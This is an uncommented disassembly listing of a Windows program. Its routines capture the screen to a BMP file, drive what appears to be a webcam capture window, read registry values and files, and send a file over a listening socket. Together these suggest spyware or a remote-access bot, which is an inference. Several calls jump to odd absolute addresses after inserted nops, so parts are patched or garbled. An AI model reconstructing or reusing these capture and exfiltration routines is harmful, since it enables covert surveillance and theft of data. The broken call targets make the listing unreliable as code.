var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF60
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAF7C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAF7C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAF7C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAF7C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------

loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx

loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFC0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFB8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE44
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFBC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAE98
		mov	ebx, eax

loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 2710A21h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 2700000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2700000h
		nop
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h

loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 2700000h
		push	[ebp+arg_0]
		nop
		call	near ptr 2670999h
		push	1
		pop	esi

loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAED0
		push	[ebp+var_4]
		call	dword_4CAE30
		mov	edi, [ebp+var_20]

loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE30
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE30
		push	[ebp+var_4]
		call	dword_4CAE30

loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax

loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------

loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_415654
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax

loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F

loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0

loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------

loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx

loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h

loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h

loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB024
		mov	eax, ebx

loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------

loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_41584D
; ---------------------------------------------------------------------------

loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax

loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858

loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0

loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------

loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx

loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CAFD0

loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h

loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax

loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0

loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CAFD0

loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CAFD0

loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CAFD0

loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CAFD0

loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0

loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CAFD0

loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB024
		mov	eax, ebx

loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4361F4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4361F4
		mov	esi, offset dword_436200
		mov	edi, offset dword_4373F8

loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CAFE4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAE74
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax

loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_4373F4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_4373F4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]

loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h

loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF50
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi

loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB00C

loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------

loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi

loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 0E8905659h
		dd 22DA314h, 43D12868h,	6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022DA2h, 0A2A2E864h, 33900227h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h,	85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 49E89064h, 6A0227A2h, 5580E80Ah, 0C085FFFFh,	8DA37559h
		dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
		db 2Dh,	2
; ---------------------------------------------------------------------------

loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_437574
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAF74
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFA0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437550
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF18
		push	dword ptr [ebp-2Eh]
		call	dword_4CAEA4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx

loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------

loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al

loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAF9C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437474
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 2710A21h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437530
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 2750B1Eh
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		push	eax
		call	dword_4CAF70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437518
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF5C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437500
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------

loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB008
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_4374DC

loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
